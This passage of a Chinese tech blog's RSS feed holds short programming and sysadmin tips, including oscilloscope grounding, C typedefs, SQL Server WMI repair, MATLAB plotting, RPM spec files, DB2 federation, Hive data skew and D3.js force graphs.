是连接夹子那条线断路，通常重新焊上即可，必要时可更换，注意连接夹子的地线不要太长，否则容易引入干扰，尤其是在高频小信号环境下。示波器探头的地线夹子应该要靠近测量点，尤其是测量频率较高、幅度较小的信号时。因为长长的地线，会形成一个环，它就像一个线圈，会感应到空间的电磁场。另外系统中的地线中电流较大时，也会在地线上产生压降，所以示波器探头的地线应该连接到靠近被测试点附近的地上。&#xA;5、有时顺变脉冲串扰会对示波器造成干扰，造成误触发，可尝试使用示波器的高频抑制触发模式，限制示波器带宽等方法。&#xA;以上这段内容转自网络，但是我对50Hz的干扰产生的原因网上有说是来自空间的辐射，对此我不敢苟同，请教了公司里一个工程师，给我的解释挺合理的。如果示波器的测试地与被测设备的地接在一起，那么信号的回流路径就最短，直接从示波器的探头流到示波器的测试地，经过被测设备的地最后回流到示波器的探头。但如果中间示波器的测试地断掉了，那么信号只能绕远路回流，探头的信号经过示波器的大地，流到被测设备的大地，最后流到示波器的探头，中间绕了一个大圈，而且引入了工频50Hz的干扰。</description>
    </item>
    <item>
      <title>关于uint8_t数据类型的理解</title>
      <link>https://bchobby.github.io/posts/b1ca5515a2f2dec7bd9c2b4982fe0b78/</link>
      <pubDate>Wed, 25 Dec 2013 14:24:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b1ca5515a2f2dec7bd9c2b4982fe0b78/</guid>
      <description>我们知道的常用数据类型有char、int、double、flout、string、struct等，其实这里的uint8_t不是什么新的数据类型，他只是用typedef定义出来的一个东东，那么为什么会有uint8_t数据类型的出现呢，其实主要是为了预防程序在不同平台之间移植会出现不兼容性，如果我们看到一个int类型数据，我们并不知道他有多少位，因为有的运行平台是32位系统，有点是64位，并且由于编译器等的不同都会导致int类型数据的大小不一样，那么如何避免由于系统或编译器不同导致的程序移植的不兼容性呢，我们就想到了使用typedef自己定义几个数据类型，将容易出现“不和谐”的几个变量使用我们自己定义的数据类型，并且将typedef定义在自己的头文件中，这样就既稳定又方便了。也许你会问，为什么我看到的代码中，只看到了使用uint8_t数据类型，没看到关于他的头文件呢，是这样的，在c99中提供了一个可选的名字集合，用来确切的描述数据类型大小，例如int16_t表示一个16位有符号的整数类型，并且c99已经将这一系列定义在了一个名字叫做inttypes.h的头文件中了，不过并不一定你的编译器就包括这个头文件哦。相信到这里你已经明白了uint8_t数据类型存在的意义，如果没有#include &amp;lt;inttypes.h&amp;gt;，至于他们的大小，只有你才知道，你定义多大，那他就是多大，如果你喜欢你可以定义typedef unsigned char uchar123_t或者typedef unsignet char uchar321_t，不过尽量要让名字具有可读性哦。&#xA;参考资料：c primer plus(第五版) 中文版 第46页</description>
    </item>
    <item>
      <title>Ubuntu U盘安装时安装时卡在Syslinux的问题</title>
      <link>https://bchobby.github.io/posts/c32a7931e5721870c67eb331449a98af/</link>
      <pubDate>Tue, 24 Dec 2013 11:02:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c32a7931e5721870c67eb331449a98af/</guid>
      <description> 用软碟通制作的U盘启动，ubuntu是11.10版本，安装时显示： SYSLINUX 3.86 2010-04-01 EBIOS Copyright (C) 1994-2010 H.Peter Anvin et al 解决方法，仅供参考： 1、格式化u盘为ntfs格式 2、用UltraISO写入Ubuntu镜像文件 3、修改syslinux.cfg，在default一行和ui一行加#注释掉。注意不要使用记事本编辑，换行会出问题。可以使用写字板，修改如下： # D-I config version 2.0 include menu.cfg # default vesamenu.c32 prompt 0 timeout 50 # ui gfxboot bootlogo 4、用u盘引导，显示Syslinux之后按回车，即可进入Ubuntu </description>
    </item>
    <item>
      <title>转-关于Method类中invoke方法和Class类中getmethod方法的使用</title>
      <link>https://bchobby.github.io/posts/a4f977bf7859adb2c3962a7f3abef910/</link>
      <pubDate>Tue, 24 Dec 2013 09:21:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4f977bf7859adb2c3962a7f3abef910/</guid>
      <description>摘要： 对于大多数java的新手一般不会用到这两个方法，但是即使是对java有了一定的了解的人，对这两个方法的使用，也存在着一定的问题，下面就这个问题作出一定的解释，能给大家一个初步的认识。 sheen： thisMethod.invoke(thisClass, new Object[] {InParam,new Integer(OutParamNum)})其中InParam为String[],而不是String, 所以不能用new String(InParam),程序运运行此句就停， what should I do? help! 多谢各位，多谢！ humming评论： 此处sheen调用的invoke方法属于java.lang..reflect.Method中的一个方法，这里的thisMethod是一个Method变量，sheen想调用thisMethod对应的一个方法，可能在参数的设置中有问题，它没有通过编译。关于invoke方法的具体使用见附录) Wingzhang： you may try as following: Object[] realArgs = new Object[2]; String[] strArgs = {&#34;aa&#34;,&#34;bb&#34;}; Integer intArgs = ....; realArgs[0] = strArgs; realArgs[1] = intArgs; thisMethod.invoke(thisClass,realArgs); humming评论： 此处wingzhang给出了invoke方法的一个参数的具体用法，在这里认为要调用的方法中即thisMethod对应的方法中的形参中要求包括着String[]和Integer，这里wingzhang提到的realArgs就起到这个作用，但是没有很清楚的说明第一个参数是如何用的。 sheen： Thank you, I will try... shenn： I have try, but the same result: 无法调用此方法 //评注：sheen兄还是没有领会到其要领，也不能完全怪他，因为wingzhang大侠没有把 它解释说的很清楚。不过Wingzhang大侠还是非常热情的，下面他就给出了一个完整的例 子。 Wingzhang： Can you put out your method signature?</description>
    </item>
    <item>
      <title>SQL Server配置管理WMI问题</title>
      <link>https://bchobby.github.io/posts/9fca342243c10adc73180b59f9ce2556/</link>
      <pubDate>Wed, 18 Dec 2013 22:13:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9fca342243c10adc73180b59f9ce2556/</guid>
      <description>今天在打开数据库的时候，连接不上。一看错误就知道肯定是SQL Server的服务没开启，所以自然而然的去SQL Server配置管理中去打开，但是打开配置管理器的时候出现了下面的错误： 每次连接数据库的时候总是会出各种各样的问题，都见怪不怪了。但是这个问题还是第一次遇到呢，起初还有新鲜劲，但是这个问题捣鼓了一个下午+晚上1小时。就开始变得纠结了。为了纪念一下这个难的的问题，还是写篇博客吧。&#xA;问题初期：新鲜劲来了， 好奇的是WMI是什么东西啊？&#xA;WMI，Windows管理规范（Windows Management Instrumentation) 是一项核心的Windows管理技术；用户可以使用WMI管理本地和远程计算机。 既然提示无法连接到WMI提供程序，那就是服务没开启呗。先查看WMI服务： 计算机—&amp;gt;管理—&amp;gt;双击服务—&amp;gt;找到WMI 第二，去网上找了相关的问题，大部分都是给出这三种解决方案：&#xA;1.权限问题：管理员（administrator）没有 network service的权限，所以 WMI无法打开。&#xA;右击“我的电脑”--&amp;gt;“管理” 在“本地用户和组”内的Administrators组上双击，出现添加属性对话框。 单击“添加”按钮，出现添加用户对话框 单击“高级”按钮，再单击“搜索”（或是“立即查找”）按钮。注：此&#39;NT AUTHORITY\NETWORK SERVICE&#39;用户为系统内置帐户，无法直接添加。 在“搜索结果”内选择“Network Service”用户后，单击“确定” 经测试，此方法无效！问题依然存在！ 2.检查一下 windows下的system32 中是否有framedyn.dll这个系统文件，如果没有到system32 下的wbem文件中拷贝framedyn.dll到system32 目录下。 我进到system32目录找framedyn.dll文件，果然没有找到，再进入system32\wbem目录，找framedyn.dll，拷贝到system32目下。&#xA;经查找，有该文件！ 3.在doc命令中输入：mofcomp.exe &#34;C:\Program Files\Microsoft SQL Server\90\Shared\sqlmgmproviderxpsp2up.mof&#34; 但是运行之后，出现了下面的错误： 提示找不到文件，在网上查找问题，都是这三种解决方案。捣鼓了一下午之后，感觉自己快要放弃的时候，这时候看到八期的师哥过来了，拉着他一起帮忙解决。同样是查找相关的问题。&#xA;捣鼓了一段时间还是不行。此时已经能明确的确定引起这个问题的主要原因是sqlmgmproviderxpsp2up.mof 这个文件。该文件的作用主要是由于上一次SQL安装失败之后，将存储在该文件之中，所以需要进行更新该文件。&#xA;后来又发现有个小小的问题，就是有的解决方案给出的路径是不一样的。有的是：mofcomp.exe &#34;C:\Program Files(x86)\Microsoft SQL Server\90\Shared\sqlmgmproviderxpsp2up.mof&#34; 或者是 mofcomp.exe &#34;C:\Program Files\Microsoft SQL Server\100\Shared\sqlmgmproviderxpsp2up.mof&#34; 。 注意观察他们的区别，这时候就知道肯定是路径上的问题。但是这个文件该去哪找呢？想查一下sqlmgmproviderxpsp2up.mof 这个文件，但是网上都没有介绍。 正当再次要放弃的时候，观察SQL Server的目录组织结构。&#xA;既然有人在90和100中找到了，那为什么不到110 下面去找呢。最后在该文件下找到了sqlmgmproviderxpsp2up.mof 这个文件。&#xA;运行结果：&#xA;主要原因是路径上的错误，sqlmgmproviderxpsp2up.mof 这个文件的路径，在每个系统上存放的路径是不一样的。&#xA;注意Program Files(x86)和Program Files的区别。&#xA;在64位系统的系统盘中会存在program files和program files(x86)两个文件夹。前者用来存放64位文件，后者用来存放32位文件。这两个文件夹的存在使得目前64为操作系统可兼容32为程序，也可以说是为了兼容32位程序，program files(x86)这个文件夹才会存在。</description>
    </item>
    <item>
      <title>matlab，多条曲线画到一张图上</title>
      <link>https://bchobby.github.io/posts/42648fcb606ad9dac96fcf2d4f8ff454/</link>
      <pubDate>Wed, 18 Dec 2013 14:24:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/42648fcb606ad9dac96fcf2d4f8ff454/</guid>
      <description>在matlab中，经常遇到画图问题，甚至，有时候需要把其他软件中的数据，导出来，用matlab处理。&#xA;此处给出，用matlab处理数据的一些简单方法。&#xA;1）matlab加载excel文件 首先，数据在excel中，需要是一列表的形式，不存在无关的数据。&#xA;代码为：&#xA;clc; close all; clear all; file = &#39;E:\matlabtest\1.xls&#39;; data = xlsread(file); y = data(:,2); plot(x,y); 系统中需要安装excel。 2）一次画多个曲线 clc; close all; clear all; file = &#39;E:\matlabtest\1.xls&#39;; data = xlsread(file); x = data(:,1); y = data(:,2); plot(x,y); hold on; file = &#39;E:\matlabtest\2.xls&#39;; data = xlsread(file); x = data(:,1); y = data(:,2); plot(x,y); 简单而言，就是在上次绘图完成之后，加入hold on；然后进行第二次绘图。当需要结束本图的绘制，进入下一副的绘制，加入代码hold off；即可。 3）关于绘图的图例，线型，可以参考网上资料。此处给出简单说明。 y 黄 - 实线 . 点 &amp;lt; 小于号 m 紫 ： 点线 o 圆 s 正方形 c 青 -.</description>
    </item>
    <item>
      <title>win7下运行英雄无敌3的方法</title>
      <link>https://bchobby.github.io/posts/ac4a41d9be2b543c60729e7a498e71f4/</link>
      <pubDate>Tue, 17 Dec 2013 22:32:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ac4a41d9be2b543c60729e7a498e71f4/</guid>
      <description>从网上看来的，很管用。&#xA;win7有32位和64位两种，如果游戏无法启动，主要的解决方法有两种：&#xA;1、导入注册表文件；&#xA;2、设置运行在兼容模式下；&#xA;这里主要讲第一种，第二种其实很简单，右键点“heroes3.exe”，出来的菜单中就有“兼容性”这一项。然后设置就可以了。&#xA;一般绿色的英雄无敌3都提供一个需要导入的“reg”文件，但这个文件是32位机用的，在64位win7下必须修改下才能用。&#xA;32位的reg文件如下：&#xA;REGEDIT4&#xA;[HKEY_LOCAL_MACHINE\Software\New World Computing]&#xA;[HKEY_LOCAL_MACHINE\Software\New World Computing\Heroes of Might and Magic?III]&#xA;[HKEY_LOCAL_MACHINE\Software\New World Computing\Heroes of Might and Magic?III\1.0]&#xA;&#34;AppPath&#34;=&#34;.\&#34;&#xA;&#34;CDDrive&#34;=&#34;.\&#34;&#xA;&#34;Show Intro&#34;=dword:00000001&#xA;&#34;Music Volume&#34;=dword:00000005&#xA;&#34;Sound Volume&#34;=dword:00000000&#xA;&#34;Last Music Volume&#34;=dword:00000005&#xA;&#34;Last Sound Volume&#34;=dword:00000000&#xA;&#34;Walk Speed&#34;=dword:00000002&#xA;&#34;Computer Walk Speed&#34;=dword:00000003&#xA;&#34;Show Route&#34;=dword:00000001&#xA;&#34;Move Reminder&#34;=dword:00000001&#xA;&#34;Quick Combat&#34;=dword:00000000&#xA;&#34;Video Subtitles&#34;=dword:00000001&#xA;&#34;Town Outlines&#34;=dword:00000001&#xA;&#34;Animate SpellBook&#34;=dword:00000001&#xA;&#34;Window Scroll Speed&#34;=dword:00000001&#xA;&#34;Bink Video&#34;=dword:00000001&#xA;&#34;Blackout Computer&#34;=dword:00000000&#xA;&#34;First Time&#34;=dword:00000000&#xA;&#34;Test Decomp&#34;=dword:0000000f&#xA;&#34;Test Read&#34;=dword:00000002</description>
    </item>
    <item>
      <title>SPEC 文件编写</title>
      <link>https://bchobby.github.io/posts/4816e24f4f13e0be57a00e239b75c01a/</link>
      <pubDate>Fri, 13 Dec 2013 16:36:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4816e24f4f13e0be57a00e239b75c01a/</guid>
      <description>%define pkg modules %define name tengine-modules %define version 1.4.6 %define release 1&#xA;#以下 2 行控制 debuginfo 的 rpm 包生成&#xA;%define __os_install_post /usr/lib/rpm/redhat/brp-compress %define debug_package %{nil} Summary: modules for Tengine %{version} Name: %{name} Version: %{version} Release: %{release} License: Alibaba Group: System Environment/Libraries Source: %{pkg}-%{version}.tar.gz BuildRoot: %{_tmppath}/%{name}-%{version} %description Tengine %{version} modules, including alibeacon, alicookie and imgurlfilter %pre %prep %setup -n %{pkg}-%{version} %build %install rm -rf $RPM_BUILD_ROOT mkdir -p $RPM_BUILD_ROOT%{_prefix}/alibaba/install/%{pkg}-%{version} cp -rf * $RPM_BUILD_ROOT%{_prefix}/alibaba/install/%{pkg}-%{version} cd $RPM_BUILD_ROOT%{_prefix}/alibaba ln -s install/%{pkg}-%{version} %{pkg} %files %{_prefix}/alibaba/* %clean rm -rf $RPM_BUILD_DIR/%{pkg}-%{version} [ &#34;</description>
    </item>
    <item>
      <title>C语言中 %02X 是什么意思</title>
      <link>https://bchobby.github.io/posts/a1aed30513f94d114f1a28bdc440a72f/</link>
      <pubDate>Fri, 13 Dec 2013 13:38:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1aed30513f94d114f1a28bdc440a72f/</guid>
      <description> X 表示以十六进制形式输出 02 表示不足两位，前面补0输出； 举例： printf(&#34;%02X&#34;, 0x123); //打印出：123 printf(&#34;%02X&#34;, 0x1); //打印出：01 char mac[32]; snprintf(mac, 6, &#34;%2x:%2x:%2x:%2x:%2x:%2x&#34;,pe-&amp;gt;Addr[0], pe-&amp;gt;Addr[1], pe-&amp;gt;Addr[2], pe-&amp;gt;Addr[3],pe-&amp;gt;Addr[4], pe-&amp;gt;Addr[5]); //failed 应该为%02x memcpy(mac, pe-&amp;gt;Addr, 6); </description>
    </item>
    <item>
      <title>如何查看ASM磁盘空间使用情况</title>
      <link>https://bchobby.github.io/posts/aa54548f071c51ceeded1ebc61132c3b/</link>
      <pubDate>Sun, 08 Dec 2013 22:21:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/aa54548f071c51ceeded1ebc61132c3b/</guid>
      <description>有两种方法：&#xA;1.查看v$asm_diskgroup视图&#xA;SQL&amp;gt; select group_number,name,total_mb,free_mb from v$asm_diskgroup;&#xA;GROUP_NUMBER NAME TOTAL_MB FREE_MB&#xA;------------ ------------------------------ ---------- ----------&#xA;1 DATA 5114 2685&#xA;2.进入asmcmd查看&#xA;rac2:oracle:rac2 &amp;gt; export ORACLE_SID=+ASM2&#xA;rac2:oracle:rac2 &amp;gt; asmcmd&#xA;ASMCMD&amp;gt; lsdg&#xA;State Type Rebal Unbal Sector Block AU Total_MB Free_MB Req_mir_free_MB Usable_file_MB Offline_disks Name&#xA;MOUNTED EXTERN N N 512 4096 1048576 5114 2685 0 2685 0 DATA/</description>
    </item>
    <item>
      <title>如何在32、64位Windows7下玩英雄无敌3</title>
      <link>https://bchobby.github.io/posts/3a2009f2d35f45edc58f8c6015d7bc92/</link>
      <pubDate>Tue, 03 Dec 2013 20:26:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a2009f2d35f45edc58f8c6015d7bc92/</guid>
      <description>最近突然怀旧了，听老歌玩老游戏，特别怀念英雄无敌3。虽然以后还出了好多版本，也做的漂亮了很多，但是真正好玩的还是3代，其他的都外表华丽，但内容和玩法华而不实。&#xA;以前都是在XP上完的，换了新的WIN7（64位）系统，想玩还花了一番功夫。&#xA;直接运行EXE文件之后会报错。如何解决此问题呢，只要导入一个注册表文件就好了。&#xA;一般来说你安装或者解压后的文件夹中会有一个注册表文件供你导入使用。&#xA;内容应该与下面的内容类似：&#xA;在 reg 文件上面右键，编辑——&#xA;以下是 32位系统下的绿色版英雄无敌3的reg文件内容，本行不算 ///&#xA;REGEDIT4&#xA;[HKEY_LOCAL_MACHINE\Software\New World Computing]&#xA;[HKEY_LOCAL_MACHINE\Software\New World Computing\Heroes of Might and Magic?III]&#xA;[HKEY_LOCAL_MACHINE\Software\New World Computing\Heroes of Might and Magic?III\1.0]&#xA;&#34;AppPath&#34;=&#34;.\&#34;&#xA;&#34;CDDrive&#34;=&#34;.\&#34;&#xA;&#34;Show Intro&#34;=dword:00000001&#xA;&#34;Music Volume&#34;=dword:00000005&#xA;&#34;Sound Volume&#34;=dword:00000000&#xA;&#34;Last Music Volume&#34;=dword:00000005&#xA;&#34;Last Sound Volume&#34;=dword:00000000&#xA;&#34;Walk Speed&#34;=dword:00000002&#xA;&#34;Computer Walk Speed&#34;=dword:00000003&#xA;&#34;Show Route&#34;=dword:00000001&#xA;&#34;Move Reminder&#34;=dword:00000001&#xA;&#34;Quick Combat&#34;=dword:00000000&#xA;&#34;Video Subtitles&#34;=dword:00000001&#xA;&#34;Town Outlines&#34;=dword:00000001&#xA;&#34;Animate SpellBook&#34;=dword:00000001&#xA;&#34;Window Scroll Speed&#34;=dword:00000001&#xA;&#34;Bink Video&#34;=dword:00000001&#xA;&#34;Blackout Computer&#34;=dword:00000000&#xA;&#34;First Time&#34;=dword:00000000</description>
    </item>
    <item>
      <title>DB2数据库联邦创建步骤</title>
      <link>https://bchobby.github.io/posts/02337d61e1cac4f27dbc3ada6f202c50/</link>
      <pubDate>Wed, 27 Nov 2013 17:31:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/02337d61e1cac4f27dbc3ada6f202c50/</guid>
      <description>准备工作： 本地数据库 ：&#xA;数据库：sample ； IP地址：192.168.56.101 ； 端口号：50000 ；用户名：db2inst1 ； 密码：db2inst1&#xA;对方数据库 ：&#xA;数据库：payment ； IP地址：192.168.56.101 ； 端口号：50002 ；用户名：db2inst2 ； 密码：db2inst2&#xA;远程数据库全局设置应该如下： 示例： 添加编目数据库： 创建数据库联邦： 查看联邦数据： 参考步骤： 1.查看联合数据库参数是否可用，不可用则设置为可用&#xA;db2 get dbm cfg | grep -i federated ----查询命令&#xA;db2 update dbm cfg using federated yes ----重置命令&#xA;db2stop force&#xA;db2start&#xA;2.编目远程数据库节点(编目节点名称不能超过8位)&#xA;命令格式: db2 catalog TCPIP NODE &amp;lt;节点名&amp;gt; REMOTE &amp;lt;对方数据库地址&amp;gt; SERVER &amp;lt;对方数据库端口&amp;gt;&#xA;$ db2 catalog tcpip node db2node1 remote 192.168.56.101 server 50002</description>
    </item>
    <item>
      <title>java将多张图片合成一张tif图片</title>
      <link>https://bchobby.github.io/posts/6c28d7c2e2704f11f0952a4c81ac8dd6/</link>
      <pubDate>Mon, 25 Nov 2013 17:42:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c28d7c2e2704f11f0952a4c81ac8dd6/</guid>
      <description>public static void many2one(List&amp;lt;String&amp;gt; bookFilePaths, String toPath,String distFileName) { if (bookFilePaths != null &amp;amp;&amp;amp; bookFilePaths.size() &amp;gt; 0) { File[] files = new File[bookFilePaths.size()]; for(int i = 0; i &amp;lt; bookFilePaths.size(); i++){ files[i] = new File(bookFilePaths.get(i)); } if (files != null &amp;amp;&amp;amp; files.length &amp;gt; 0) { try { ArrayList pages = new ArrayList(files.length - 1); FileSeekableStream[] stream = new FileSeekableStream[files.length]; for (int i = 0; i &amp;lt; files.length; i++) { stream[i] = new FileSeekableStream( files[i].</description>
    </item>
    <item>
      <title>django mktime argument out of range</title>
      <link>https://bchobby.github.io/posts/4248115bfd5c5b277aedcc43edd6c1d6/</link>
      <pubDate>Sat, 23 Nov 2013 13:54:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4248115bfd5c5b277aedcc43edd6c1d6/</guid>
      <description>解决方式是：1.先安装python 的setuptoos工具包&#xA;2.安装pytz模块</description>
    </item>
    <item>
      <title>HTML5 API --- Web Worker的高级用法</title>
      <link>https://bchobby.github.io/posts/f2d99548e38259572efe0c7b3b8bcc93/</link>
      <pubDate>Fri, 22 Nov 2013 10:54:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f2d99548e38259572efe0c7b3b8bcc93/</guid>
      <description> [本文属原创，如有转载，请注明出处http://blog.csdn.net/yl02520/article/]&#xA;Web Worker是HTML5引进的一个重要的API，它让一直受人诟病的单线程运行的JavaScript有了多线程的能力，有了Web Worker，开发者就可以把一些重量级耗时的计算任务单独放在另外一个线程中去运行，这样就可以让多个线程同时运行，最大限度的发挥CPU多核的功能。&#xA;Web Worker基本的用法如下：&#xA;var worker = new Worker(“background.js”); // background.js文件是事先准备好的，里面的JavaScript文件运行在后台，一般为重量级或耗时的运算。那么假设开发者需要动态的执行一系列的JavaScript程序该怎么办呢？&#xA;下面介绍一下Web Worker的高级用法，如何在不事先创建JS文件的前提下，动态的指定JavaScript程序在Worker中运行？&#xA;我们可以创建一个Blob对象，并把JavaScript文本赋值给Blob对象，然后通过window.URL.creatObjectURL方法生成一个URL，最后根据该URL创建Worker对象，那么刚才的JavaScript文本就运行在Worker线程中。这样就完成了把任务动态的分配给Worker线程去执行，而不需要事先创建一个JavaScript文件。&#xA;实例代码如下：&#xA;&amp;lt;html&amp;gt; &amp;lt;body&amp;gt; &amp;lt;script id=&#34;worker&#34; type=&#34;javascript/worker&#34;&amp;gt; self.postMessage(&#34;Message from Web Worker.&#34;); &amp;lt;/script&amp;gt; &amp;lt;script&amp;gt; var worker_blob = new Blob([document.getElementById(&#34;worker&#34;).textContent]); var worker = new Worker(window.URL.createObjectURL(worker_blob)); worker.onmessage = function(event) { console.log(&#34;Received event: &#34; + event.data); }; &amp;lt;/script&amp;gt; &amp;lt;/body&amp;gt; &amp;lt;/html&amp;gt; </description>
    </item>
    <item>
      <title>项目分享-限流框架的实现</title>
      <link>https://bchobby.github.io/posts/c8484660d80a9a7f508f39d332d37126/</link>
      <pubDate>Wed, 06 Nov 2013 08:12:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c8484660d80a9a7f508f39d332d37126/</guid>
      <description>背景 开篇之前我一直在想怎么把这个项目给讲清楚，如果在互联网公司有高并发场景对于这个内容的就比较容易接受。这里大概说一下背景：代码写于2013年四月份，最开始的雏形是在2012年写的，从另外一个项目上进行，代码侵入性比较强。我在今年四月份进行了剥离，实现可插拔式的监控。言归正传，当时对于性能领域非常有兴趣，所以就在想如何写一个框架对于现有项目对于&#34;类级别（严格来讲是方法级别）&#34;做性能监控。既然是性能监控，很容易就会发现需要回答三个问题：一、这个方法的并发请求数有多少？二、响应时间是多少？三、最佳并发请求数是多少？这三个问题其实就会衍生出我们今天要讲的这个框架意义：保证应用的可用性，实时监控各个节点的并发数，响应时间等。（吞吐量和响应时间相生相克，所以会在两者之前找一个最佳平衡点，就是常说的最佳并发数。理想状态下最佳并发请求数就是我们这里要设的限流上限阀值）。&#xA;限流的意义 下面先用一个简单的图来看看限流框架所处在的位置。&#xA;看到这张图的时候估计有很多人下意识的会想到Spring的拦截器，这里确实非常像，原理也类似。而且在我后面的实现中有两种方式：其中的一种就是基于Spring的拦截器实现的。另外一种其实是JDK的动态代理去实现的。讲到这里不知道有没有人会问为什么要限流？这里就做一些简单的解释。举一个浅显的例子：联想一下长江的三峡大坝，除了能发电之外另外一个作用就是防洪，如果洪水来了，没有三峡大坝，很有可能对于下游产生重大的洪涝灾害。引用到我们这里其实是一样的。当请求数异常升高时（洪水来了），对于应用来讲所承担的负载也会异常升高，这样直接的影响就是整个响应时间变慢，更糟糕的情况是系统直接崩溃。不仅如此，由于系统之前都是相关联的，所以很容易就会对其依赖的相关应用产生冲击（有点像多米诺骨牌）。限流的一个很重大的意义就是保证应用的可用性，讲到这里应该明白为什么需要限流了。&#xA;UML类图 接下来看一下整个UML类图：&#xA;这个图是比较简单。在这里我把整个限流做了一些简化，在完整版里面会有数据的存储和响应时间的监控。开始的数据是存储在DB里面，后面为了学习数据库的一些核心知识所以自己在写一个很简单的存储（写存储的意义仅仅只是为了学习，只是希望了解一下整个存储在于空间分配的一些思想，对于SQL协议那一块没有更多的涉及）。这里将不在讨论有关于存储的细节。&#xA;回到上面这张图，如我前面所说的，我用了两种方式去实现：一种就是Spring的拦截器方式，另外一种就是JDK的Proxy方式。&#xA;代码展示 接下来看一下几个类的代码，这里面最核心的类就是FlowMonitor.java，限流的具体逻辑都在里面。下面会把具体的代码贴出来，当看到代码的时候估计会觉得这东西太简单了。下面我会抛出更多的问题，也是本文中没有实现的。 FlowMonitor类 /** *限流的作用 *实现一个缓冲队列，让一部分进入等待状态 *区间监控 *如果一个线程返回特别慢怎么办，比如在release之前抛了异常 * @author 百恼 2013-04-11上午11:26:36 * */ public class FlowMonitor { //默认最大的并发数默认为100，可以配置 private int maxFlowSize = 100; //最大并发数 private int maxRunningSize = 0; //当前并发数 private AtomicInteger runningSize = new AtomicInteger(); //通过的数量 private AtomicInteger passSize = new AtomicInteger(); //失败的数量 private AtomicInteger loseSize = new AtomicInteger(); public FlowMonitor(){ super(); } public FlowMonitor(int maxFlowSize){ this(); this.maxFlowSize = maxFlowSize; } /** * 线程进入开关，即使这里用了一些Atomic类，这里仍然会有并发问题。 * @return */ public boolean entry(){ //每个类中一个配置maxFlowSize if(maxFlowSize&amp;gt;0){ if(maxFlowSize&amp;lt;=runningSize.</description>
    </item>
    <item>
      <title>让人头痛的大数据倾斜问题</title>
      <link>https://bchobby.github.io/posts/ff3bf9ccb5ab1e03158dc6f8ee0f8f6c/</link>
      <pubDate>Tue, 05 Nov 2013 22:40:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ff3bf9ccb5ab1e03158dc6f8ee0f8f6c/</guid>
      <description>在做Shuffle阶段的优化过程中，遇到了数据倾斜的问题，造成了对一些情况下优化效果不明显。主要是因为在Job完成后的所得到的Counters是整个Job的总和，优化是基于这些Counters得出的平均值，而由于数据倾斜的原因造成map处理数据量的差异过大，使得这些平均值能代表的价值降低。Hive的执行是分阶段的，map处理数据量的差异取决于上一个stage的reduce输出，所以如何将数据均匀的分配到各个reduce中，就是解决数据倾斜的根本所在。规避错误来更好的运行比解决错误更高效。在查看了一些资料后，总结如下。&#xA;关键词&#xA;情形&#xA;后果&#xA;join&#xA;其中一个表较小，但是key集中&#xA;分发到某一个或几个Reduce上的数据远高于平均值&#xA;大表与大表，但是分桶的判断字段0值或空值过多&#xA;这些空值都由一个reduce处理，非常慢&#xA;Count(Distinct)&#xA;某特殊值过多&#xA;处理此特殊值的reduce耗时&#xA;Group by&#xA;group by 维度过小，某值的数量过多&#xA;处理某值的reduce非常耗时&#xA;1.2原因：&#xA;1)、key分布不均匀&#xA;2)、业务数据本身的特性&#xA;3)、建表时考虑不周&#xA;4)、某些SQL语句本身就有数据倾斜&#xA;1.3表现：&#xA;任务进度长时间维持在99%（或100%），查看任务监控页面，发现只有少量（1个或几个）reduce子任务未完成。因为其处理的数据量和其他reduce差异过大。&#xA;单一reduce的记录数与平均记录数差异过大，通常可能达到3倍甚至更多。 最长时长远大于平均时长。&#xA;2数据倾斜的解决方案&#xA;2.1参数调节：&#xA;hive.map.aggr = true&#xA;Map 端部分聚合，相当于Combiner&#xA;hive.groupby.skewindata=true&#xA;有数据倾斜的时候进行负载均衡，当选项设定为 true，生成的查询计划会有两个 MR Job。第一个 MR Job 中，Map 的输出结果集合会随机分布到 Reduce 中，每个 Reduce 做部分聚合操作，并输出结果，这样处理的结果是相同的 Group By Key 有可能被分发到不同的 Reduce 中，从而达到负载均衡的目的；第二个 MR Job 再根据预处理的数据结果按照 Group By Key 分布到 Reduce 中（这个过程可以保证相同的 Group By Key 被分布到同一个 Reduce 中），最后完成最终的聚合操作。&#xA;2.2 SQL语句调节：</description>
    </item>
    <item>
      <title>【D3.js数据可视化系列教程】（二十四）--力导向图</title>
      <link>https://bchobby.github.io/posts/38e370884e9d296ff7f336dde019fe2b/</link>
      <pubDate>Sun, 03 Nov 2013 17:46:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/38e370884e9d296ff7f336dde019fe2b/</guid>
      <description>力导向图（可拖动） 1. 数据格式 定义节点和连接对象数组。&#xA;【司机提示】&#xA;nodes和edges是必备的两个属性。nodes中的数据是一个表示节点的对象数组；edges是一个表示边的对象数组，其中source和target子属性是必备的，其值代表了nodes数组中的索引。节点和边数组都可以有额外的属性。 var dataset={ nodes:[//节点 { name:&#34;Adam&#34;}, { name:&#34;Bob&#34;}, { name:&#34;Carride&#34;}, { name:&#34;Donovan&#34;}, { name:&#34;Edward&#34;}, { name:&#34;Felicity&#34;}, { name:&#34;George&#34;}, { name:&#34;Hannah&#34;}, { name:&#34;Iris&#34;}, { name:&#34;Jerry&#34;} ], edges:[//边 { source:0,target:1,weight:1,color:1}, { source:0,target:2,weight:3,color:4}, { source:0,target:3,weight:4,color:6}, { source:0,target:4,weight:6,color:65}, { source:1,target:5,weight:3,color:76}, { source:2,target:5,weight:8,color:879}, { source:2,target:5,weight:7,color:989}, { source:3,target:4,weight:9,color:643}, { source:5,target:8,weight:1,color:54}, { source:5,target:9,weight:3,color:54}, { source:6,target:7,weight:4,color:45}, { source:7,target:8,weight:0,color:43}, { source:2,target:8,weight:8,color:243}, { source:3,target:8,weight:1,color:43}, { source:5,target:8,weight:5,color:13}, { source:6,target:8,weight:3,color:351}, { 